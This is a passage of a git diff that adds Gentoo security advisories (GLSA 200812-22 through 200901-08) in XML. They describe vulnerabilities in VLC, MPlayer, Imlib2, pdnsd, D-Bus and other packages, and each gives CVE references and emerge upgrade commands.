+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200812-22.xml b/xml/htdocs/security/en/glsa/glsa-200812-22.xml
new file mode 100644
index 00000000..bfd8f88d
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200812-22.xml
@@ -0,0 +1,66 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200812-22">
+  <title>Ampache: Insecure temporary file usage</title>
+  <synopsis>
+    An insecure temporary file usage has been reported in Ampache, allowing for
+    symlink attacks.
+  </synopsis>
+  <product type="ebuild">ampache</product>
+  <announced>December 23, 2008</announced>
+  <revised>December 23, 2008: 01</revised>
+  <bug>237483</bug>
+  <access>local</access>
+  <affected>
+    <package name="www-apps/ampache" auto="yes" arch="*">
+      <unaffected range="ge">3.4.3</unaffected>
+      <vulnerable range="lt">3.4.3</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Ampache is a PHP based tool for managing, updating and playing audio
+    files via a web interface.
+    </p>
+  </background>
+  <description>
+    <p>
+    Dmitry E. Oboukhov reported an insecure temporary file usage within the
+    gather-messages.sh script.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A local attacker could perform symlink attacks to overwrite arbitrary
+    files with the privileges of the user running the application.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Ampache users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=www-apps/ampache-3.4.3&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-3929">CVE-2008-3929</uri>
+  </references>
+  <metadata tag="requester" timestamp="Mon, 22 Sep 2008 12:37:47 +0000">
+    keytoaster
+  </metadata>
+  <metadata tag="submitter" timestamp="Thu, 11 Dec 2008 21:03:24 +0000">
+    p-y
+  </metadata>
+  <metadata tag="bugReady" timestamp="Thu, 11 Dec 2008 21:03:37 +0000">
+    p-y
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200812-23.xml b/xml/htdocs/security/en/glsa/glsa-200812-23.xml
new file mode 100644
index 00000000..133d969c
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200812-23.xml
@@ -0,0 +1,67 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200812-23">
+  <title>Imlib2: User-assisted execution of arbitrary code</title>
+  <synopsis>
+    A buffer overflow vulnerability has been discovered in Imlib2.
+  </synopsis>
+  <product type="ebuild">imlib2</product>
+  <announced>December 23, 2008</announced>
+  <revised>December 23, 2008: 01</revised>
+  <bug>248057</bug>
+  <access>remote</access>
+  <affected>
+    <package name="media-libs/imlib2" auto="yes" arch="*">
+      <unaffected range="ge">1.4.2-r1</unaffected>
+      <vulnerable range="lt">1.4.2-r1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Imlib2 is replacement library from the Enlightenment project for
+    libraries like libXpm.
+    </p>
+  </background>
+  <description>
+    <p>
+    Julien Danjou reported a pointer arithmetic error and a heap-based
+    buffer overflow within the load() function of the XPM image loader.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could entice a user to process a specially crafted
+    XPM image, possibly resulting in the remote execution of arbitrary code
+    with the privileges of the user running the application, or a Denial of
+    Service.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Imlib2 users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=media-libs/imlib2-1.4.2-r1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-5187">CVE-2008-5187</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sun, 07 Dec 2008 11:53:50 +0000">
+    keytoaster
+  </metadata>
+  <metadata tag="submitter" timestamp="Thu, 11 Dec 2008 12:38:00 +0000">
+    p-y
+  </metadata>
+  <metadata tag="bugReady" timestamp="Thu, 11 Dec 2008 12:38:09 +0000">
+    p-y
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200812-24.xml b/xml/htdocs/security/en/glsa/glsa-200812-24.xml
new file mode 100644
index 00000000..793a1734
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200812-24.xml
@@ -0,0 +1,82 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200812-24">
+  <title>VLC: Multiple vulnerabilities</title>
+  <synopsis>
+    Multiple vulnerabilities in VLC may lead to the remote execution of
+    arbitrary code.
+  </synopsis>
+  <product type="ebuild">vlc</product>
+  <announced>December 24, 2008</announced>
+  <revised>December 24, 2008: 01</revised>
+  <bug>245774</bug>
+  <bug>249391</bug>
+  <access>remote</access>
+  <affected>
+    <package name="media-video/vlc" auto="yes" arch="*">
+      <unaffected range="ge">0.9.8a</unaffected>
+      <vulnerable range="lt">0.9.8a</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    VLC is a cross-platform media player and streaming server.
+    </p>
+  </background>
+  <description>
+    <p>
+    Tobias Klein reported the following vulnerabilities:
+    </p>
+    <ul>
+    <li>A
+    stack-based buffer overflow when processing CUE image files in
+    modules/access/vcd/cdrom.c (CVE-2008-5032).</li>
+    <li>A stack-based
+    buffer overflow when processing RealText (.rt) subtitle files in the
+    ParseRealText() function in modules/demux/subtitle.c
+    (CVE-2008-5036).</li>
+    <li>An integer overflow when processing RealMedia
+    (.rm) files in the ReadRealIndex() function in real.c in the Real
+    demuxer plugin, leading to a heap-based buffer overflow
+    (CVE-2008-5276).</li>
+    </ul>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could entice a user to open a specially crafted CUE
+    image file, RealMedia file or RealText subtitle file, possibly
+    resulting in the execution of arbitrary code with the privileges of the
+    user running the application.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All VLC users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=media-video/vlc-0.9.8a&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-5032">CVE-2008-5032</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-5036">CVE-2008-5036</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-5276">CVE-2008-5276</uri>
+  </references>
+  <metadata tag="requester" timestamp="Mon, 15 Dec 2008 14:05:23 +0000">
+    keytoaster
+  </metadata>
+  <metadata tag="submitter" timestamp="Sun, 21 Dec 2008 19:55:55 +0000">
+    keytoaster
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sun, 21 Dec 2008 20:12:40 +0000">
+    p-y
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200901-01.xml b/xml/htdocs/security/en/glsa/glsa-200901-01.xml
new file mode 100644
index 00000000..b0c27606
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200901-01.xml
@@ -0,0 +1,67 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200901-01">
+  <title>NDISwrapper: Arbitrary remote code execution</title>
+  <synopsis>
+    Multiple buffer overflows might lead to remote execution of arbitrary code
+    with root privileges.
+  </synopsis>
+  <product type="ebuild">ndiswrapper</product>
+  <announced>January 11, 2009</announced>
+  <revised>January 11, 2009: 01</revised>
+  <bug>239371</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-wireless/ndiswrapper" auto="yes" arch="*">
+      <unaffected range="ge">1.53-r1</unaffected>
+      <vulnerable range="lt">1.53-r1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    NDISwrapper is a Linux kernel module that enables the use of Microsoft
+    Windows drivers for wireless network devices.
+    </p>
+  </background>
+  <description>
+    <p>
+    Anders Kaseorg reported multiple buffer overflows related to long
+    ESSIDs.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    A physically proximate attacker could send packets over a wireless
+    network that might lead to the execution of arbitrary code with root
+    privileges.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All NDISwrapper users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-wireless/ndiswrapper-1.53-r1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4395">CVE-2008-4395</uri>
+  </references>
+  <metadata tag="requester" timestamp="Thu, 06 Nov 2008 16:33:13 +0000">
+    rbu
+  </metadata>
+  <metadata tag="submitter" timestamp="Wed, 26 Nov 2008 23:45:28 +0000">
+    rbu
+  </metadata>
+  <metadata tag="bugReady" timestamp="Wed, 26 Nov 2008 23:45:36 +0000">
+    rbu
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200901-02.xml b/xml/htdocs/security/en/glsa/glsa-200901-02.xml
new file mode 100644
index 00000000..26540205
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200901-02.xml
@@ -0,0 +1,85 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200901-02">
+  <title>JHead: Multiple vulnerabilities</title>
+  <synopsis>
+    Multiple vulnerabilities in JHead might lead to the execution of arbitrary
+    code or data loss.
+  </synopsis>
+  <product type="ebuild">jhead</product>
+  <announced>January 11, 2009</announced>
+  <revised>January 11, 2009: 01</revised>
+  <bug>242702</bug>
+  <bug>243238</bug>
+  <access>remote</access>
+  <affected>
+    <package name="media-gfx/jhead" auto="yes" arch="*">
+      <unaffected range="ge">2.84-r1</unaffected>
+      <vulnerable range="lt">2.84-r1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    JHead is an exif jpeg header manipulation tool.
+    </p>
+  </background>
+  <description>
+    <p>
+    Marc Merlin and John Dong reported multiple vulnerabilities in JHead:
+    </p>
+    <ul>
+    <li>
+    A buffer overflow in the DoCommand() function when processing the cmd
+    argument and related to potential string overflows (CVE-2008-4575).
+    </li>
+    <li>
+    An insecure creation of a temporary file (CVE-2008-4639).
+    </li>
+    <li>
+    A error when unlinking a file (CVE-2008-4640).
+    </li>
+    <li>
+    Insufficient escaping of shell metacharacters (CVE-2008-4641).
+    </li>
+    </ul>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could possibly execute arbitrary code by enticing a
+    user or automated system to open a file with a long filename or via
+    unspecified vectors. It is also possible to trick a user into deleting
+    or overwriting files.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All JHead users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=media-gfx/jhead-2.84-r1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4575">CVE-2008-4575</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4639">CVE-2008-4639</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4640">CVE-2008-4640</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4641">CVE-2008-4641</uri>
+  </references>
+  <metadata tag="requester" timestamp="Wed, 26 Nov 2008 18:47:59 +0000">
+    rbu
+  </metadata>
+  <metadata tag="submitter" timestamp="Wed, 26 Nov 2008 21:08:46 +0000">
+    rbu
+  </metadata>
+  <metadata tag="bugReady" timestamp="Wed, 10 Dec 2008 17:01:39 +0000">
+    rbu
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200901-03.xml b/xml/htdocs/security/en/glsa/glsa-200901-03.xml
new file mode 100644
index 00000000..e50daca0
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200901-03.xml
@@ -0,0 +1,81 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200901-03">
+  <title>pdnsd: Denial of Service and cache poisoning</title>
+  <synopsis>
+    Two errors in pdnsd allow for Denial of Service and cache poisoning.
+  </synopsis>
+  <product type="ebuild">pdnsd</product>
+  <announced>January 11, 2009</announced>
+  <revised>January 11, 2009: 01</revised>
+  <bug>231285</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-dns/pdnsd" auto="yes" arch="*">
+      <unaffected range="ge">1.2.7</unaffected>
+      <vulnerable range="lt">1.2.7</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    pdnsd is a proxy DNS server with permanent caching that is designed to
+    cope with unreachable DNS servers.
+    </p>
+  </background>
+  <description>
+    <p>
+    Two issues have been reported in pdnsd:
+    </p>
+    <ul>
+    <li>
+    The p_exec_query() function in src/dns_query.c does not properly handle
+    many entries in the answer section of a DNS reply, related to a
+    "dangling pointer bug" (CVE-2008-4194).
+    </li>
+    <li>
+    The default value for query_port_start was set to 0, disabling UDP
+    source port randomization for outgoing queries (CVE-2008-1447).
+    </li>
+    </ul>
+  </description>
+  <impact type="normal">
+    <p>
+    An attacker could exploit the second weakness to poison the cache of
+    pdnsd and thus spoof DNS traffic, which could e.g. lead to the
+    redirection of web or mail traffic to malicious sites. The first issue
+    can be exploited by enticing pdnsd to send a query to a malicious DNS
+    server, or using the port randomization weakness, and might lead to a
+    Denial of Service.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    Port randomization can be enabled by setting the "query_port_start"
+    option to 1024 which would resolve the CVE-2008-1447 issue.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All pdnsd users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-dns/pdnsd-1.2.7&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-1447">CVE-2008-1447</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4194">CVE-2008-4194</uri>
+  </references>
+  <metadata tag="requester" timestamp="Wed, 26 Nov 2008 18:15:10 +0000">
+    rbu
+  </metadata>
+  <metadata tag="submitter" timestamp="Wed, 26 Nov 2008 23:10:06 +0000">
+    rbu
+  </metadata>
+  <metadata tag="bugReady" timestamp="Wed, 26 Nov 2008 23:10:19 +0000">
+    rbu
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200901-04.xml b/xml/htdocs/security/en/glsa/glsa-200901-04.xml
new file mode 100644
index 00000000..b7a5f160
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200901-04.xml
@@ -0,0 +1,66 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200901-04">
+  <title>D-Bus: Denial of Service</title>
+  <synopsis>
+    An error condition can cause D-Bus to crash.
+  </synopsis>
+  <product type="ebuild">dbus</product>
+  <announced>January 11, 2009</announced>
+  <revised>January 11, 2009: 01</revised>
+  <bug>240308</bug>
+  <access>local</access>
+  <affected>
+    <package name="sys-apps/dbus" auto="yes" arch="*">
+      <unaffected range="ge">1.2.3-r1</unaffected>
+      <vulnerable range="lt">1.2.3-r1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    D-Bus is a daemon providing a framework for applications to communicate
+    with one another.
+    </p>
+  </background>
+  <description>
+    <p>
+    schelte reported that the dbus_signature_validate() function can
+    trigger a failed assertion when processing a message containing a
+    malformed signature.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A local user could send a specially crafted message to the D-Bus
+    daemon, leading to a Denial of Service.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All D-Bus users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=sys-apps/dbus-1.2.3-r1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-3834">CVE-2008-3834</uri>
+  </references>
+  <metadata tag="requester" timestamp="Wed, 26 Nov 2008 18:43:42 +0000">
+    rbu
+  </metadata>
+  <metadata tag="submitter" timestamp="Wed, 26 Nov 2008 21:51:45 +0000">
+    rbu
+  </metadata>
+  <metadata tag="bugReady" timestamp="Wed, 26 Nov 2008 21:52:15 +0000">
+    rbu
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200901-05.xml b/xml/htdocs/security/en/glsa/glsa-200901-05.xml
new file mode 100644
index 00000000..1dcd3213
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200901-05.xml
@@ -0,0 +1,69 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200901-05">
+  <title>Streamripper: Multiple vulnerabilities</title>
+  <synopsis>
+    Multiple buffer overflows have been discovered in Streamripper, allowing
+    for user-assisted execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">streamripper</product>
+  <announced>January 11, 2009</announced>
+  <revised>January 11, 2009: 01</revised>
+  <bug>249039</bug>
+  <access>remote</access>
+  <affected>
+    <package name="media-sound/streamripper" auto="yes" arch="*">
+      <unaffected range="ge">1.64.0</unaffected>
+      <vulnerable range="lt">1.64.0</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Streamripper is a tool for extracting and recording mp3 files from a
+    Shoutcast stream.
+    </p>
+  </background>
+  <description>
+    <p>
+    Stefan Cornelius from Secunia Research reported multiple buffer
+    overflows in the http_parse_sc_header(), http_get_pls() and
+    http_get_m3u() functions in lib/http.c when parsing overly long HTTP
+    headers, or pls and m3u playlists with overly long entries.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could entice a user to connect to a malicious server,
+    possibly resulting in the remote execution of arbitrary code with the
+    privileges of the user running the application.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Streamripper users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=media-sound/streamripper-1.64.0&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4829">CVE-2008-4829</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sun, 07 Dec 2008 20:23:24 +0000">
+    keytoaster
+  </metadata>
+  <metadata tag="submitter" timestamp="Sun, 21 Dec 2008 20:28:31 +0000">
+    p-y
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sun, 21 Dec 2008 20:29:17 +0000">
+    p-y
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200901-06.xml b/xml/htdocs/security/en/glsa/glsa-200901-06.xml
new file mode 100644
index 00000000..b347ddb1
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200901-06.xml
@@ -0,0 +1,73 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200901-06">
+  <title>Tremulous: User-assisted execution of arbitrary code</title>
+  <synopsis>
+    A buffer overflow vulnerability has been discovered in Tremulous.
+  </synopsis>
+  <product type="ebuild">tremulous tremulous-bin</product>
+  <announced>January 11, 2009</announced>
+  <revised>January 11, 2009: 01</revised>
+  <bug>222119</bug>
+  <access>remote</access>
+  <affected>
+    <package name="games-fps/tremulous" auto="yes" arch="*">
+      <unaffected range="ge">1.1.0-r2</unaffected>
+      <vulnerable range="lt">1.1.0-r2</vulnerable>
+    </package>
+    <package name="games-fps/tremulous-bin" auto="yes" arch="*">
+      <vulnerable range="lt">1.1.0</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Tremulous is a team-based First Person Shooter game.
+    </p>
+  </background>
+  <description>
+    <p>
+    It has been reported that Tremulous includes a vulnerable version of
+    the ioQuake3 engine (GLSA 200605-12, CVE-2006-2236).
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could entice a user to connect to a malicious games
+    server, possibly resulting in the execution of arbitrary code with the
+    privileges of the user running the application.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    Tremulous users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=games-fps/tremulous-1.1.0-r2&quot;</code>
+    <p>
+    Note: The binary version of Tremulous has been removed from the Portage
+    tree.
+    </p>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-2236">CVE-2006-2236</uri>
+    <uri link="http://www.gentoo.org/security/en/glsa/glsa-200605-12.xml">GLSA 200605-12</uri>
+  </references>
+  <metadata tag="requester" timestamp="Mon, 13 Oct 2008 16:40:23 +0000">
+    keytoaster
+  </metadata>
+  <metadata tag="submitter" timestamp="Sat, 10 Jan 2009 22:54:22 +0000">
+    p-y
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sat, 10 Jan 2009 22:54:33 +0000">
+    p-y
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200901-07.xml b/xml/htdocs/security/en/glsa/glsa-200901-07.xml
new file mode 100644
index 00000000..e83dcc2c
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200901-07.xml
@@ -0,0 +1,85 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200901-07">
+  <title>MPlayer: Multiple vulnerabilities</title>
+  <synopsis>
+    Multiple vulnerabilities in MPlayer may lead to the execution of arbitrary
+    code or a Denial of Service.
+  </synopsis>
+  <product type="ebuild">mplayer</product>
+  <announced>January 12, 2009</announced>
+  <revised>January 12, 2009: 01</revised>
+  <bug>231836</bug>
+  <bug>239130</bug>
+  <bug>251017</bug>
+  <access>remote</access>
+  <affected>
+    <package name="media-video/mplayer" auto="yes" arch="*">
+      <unaffected range="ge">1.0_rc2_p28058-r1 </unaffected>
+      <vulnerable range="lt">1.0_rc2_p28058-r1 </vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    MPlayer is a media player including support for a wide range of audio
+    and video formats.
+    </p>
+  </background>
+  <description>
+    <p>
+    Multiple vulnerabilities have been reported in MPlayer:
+    </p>
+    <ul>
+    <li>A
+    stack-based buffer overflow was found in the str_read_packet() function
+    in libavformat/psxstr.c when processing crafted STR files that
+    interleave audio and video sectors (CVE-2008-3162).</li>
+    <li>Felipe
+    Andres Manzano reported multiple integer underflows in the
+    demux_real_fill_buffer() function in demux_real.c when processing
+    crafted Real Media files that cause the stream_read() function to read
+    or write arbitrary memory (CVE-2008-3827).</li>
+    <li>Tobias Klein
+    reported a stack-based buffer overflow in the demux_open_vqf() function
+    in libmpdemux/demux_vqf.c when processing malformed TwinVQ files
+    (CVE-2008-5616).</li>
+    </ul>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could entice a user to open a specially crafted STR,
+    Real Media, or TwinVQ file to execute arbitrary code or cause a Denial of
+    Service.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All MPlayer users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=media-video/mplayer-1.0_rc2_p28058-r1 &quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-3162">CVE-2008-3162</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-3827">CVE-2008-3827</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-5616">CVE-2008-5616</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sat, 29 Nov 2008 14:10:43 +0000">
+    rbu
+  </metadata>
+  <metadata tag="submitter" timestamp="Sun, 11 Jan 2009 12:40:15 +0000">
+    keytoaster
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sun, 11 Jan 2009 14:37:53 +0000">
+    p-y
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200901-08.xml b/xml/htdocs/security/en/glsa/glsa-200901-08.xml
new file mode 100644
index 00000000..955d3fde
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200901-08.xml
@@ -0,0 +1,74 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200901-08">
+  <title>Online-Bookmarks: Multiple vulnerabilities</title>
+  <synopsis>
+    Multiple vulnerabilities have been reported in Online-Bookmarks.
+  </synopsis>
+  <product type="ebuild">online-bookmarks</product>
+  <announced>January 12, 2009</announced>
+  <revised>January 12, 2009: 01</revised>
+  <bug>235053</bug>
+  <access>remote</access>
+  <affected>
+    <package name="www-apps/online-bookmarks" auto="yes" arch="*">
+      <unaffected range="ge">0.6.28</unaffected>
+      <vulnerable range="lt">0.6.28</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Online-Bookmarks is a web-based bookmark management system to store
+    your bookmarks, favorites and links.
+    </p>
+  </background>
+  <description>
+    <p>
+    The following vulnerabilities were reported:
+    </p>
+    <ul><li>Authentication bypass when directly requesting certain pages
+    (CVE-2004-2155).</li>
+    <li>Insufficient input validation in the login
+    function in auth.inc (CVE-2006-6358).</li>
+    <li>Unspecified cross-site
+    scripting vulnerability (CVE-2006-6359).</li>
+    </ul>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could exploit these vulnerabilities to bypass
+    authentication mechanisms, execute arbitrary SQL statements or inject
+    arbitrary web scripts.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Online-Bookmarks users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=www-apps/online-bookmarks-0.6.28&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-2155">CVE-2004-2155</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-6358">CVE-2006-6358</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-6359">CVE-2006-6359</uri>
+  </references>
+  <metadata tag="requester" timestamp="Mon, 22 Sep 2008 12:41:34 +0000">
+    keytoaster
+  </metadata>
+  <metadata tag="submitter" timestamp="Sat, 10 Jan 2009 23:26:51 +0000">
+    p-y
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sat, 10 Jan 2009 23:27:06 +0000">
+    p-y
+  </metadata>
+</glsa>
